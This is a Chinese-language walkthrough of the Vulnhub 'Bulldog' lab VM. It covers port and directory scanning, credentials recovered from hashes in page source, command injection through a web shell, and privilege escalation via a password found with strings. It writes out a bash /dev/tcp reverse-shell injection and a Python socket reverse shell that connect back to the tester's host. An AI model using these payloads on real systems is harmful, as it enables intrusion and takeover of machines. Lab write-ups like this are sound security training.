先nmap一下:
开放了80端口,可以dirb一下,然后dirb出一些比较有用的目录:
http://192.168.31.53/admin/ 用于管理员登录,但是目前没有用户名和密码;
http://192.168.31.53/dev/里面有个webshell,但是提示说Please authenticate with the server to use Web-Shell
但是在dev的源码中看到了提示:
找个网站解密一下,倒数第二个解密出来是bulldog,最后一个解密出来是bulldoglover。也就是获得两队用户名和密码:nick-bulldog和sarah-bulldoglover
使用nick-bulldog登录admin界面成功,但是提示我们没有权限。转到之前的/dev/shell目录:
发现可以使用这个webshell了,很明显是一个命令注入,尝试反弹shell:
先在kali处9999端口监听:
然后进行命令注入:ls & echo 'bash -i >& /dev/tcp/192.168.31.102/9999 0>&1' | bash
命令的具体解释参考https://blog.csdn.net/weixin_39557087/article/details/112510752
还有一种获得shell的方式(这里使用python是因为whatweb显示脚本语言用的是python,在网站页面中也有提示):
kali本地准备shell文件并开启服务端口:
然后执行如下命令,使得靶机从kali这获得shell文件:
shell文件具体如下:
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.31.102",3333)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"])
然后再kali本地监听3333端口并通过命令注入执行shell.txt(ls & python shell.txt)即可获得反弹shell。
当我们获得反弹shell以后:
查看一下有哪些用户,其中有一个bulldogadmin(passwd文件的内容可以参考https://blog.csdn.net/xiaoyutongxue6/article/details/80851967?utm_source=blogxgwz0):
进入bulldogadmin用户的家目录,ls -al一下:
进入该目录后发现文件customPermissonApp(另一个文件note没有特别信息),使用strings查看(strings命令用来提取和显示非文本文件中的文本字符串):
拼接得到密码:SUPERultimatePASSWORDyouCANTget,最终提权成功:
参考:
https://www.freebuf.com/column/200047.html
https://www.zhihu.com/column/vulnhub
https://blog.csdn.net/weixin_41598660/article/details/104046648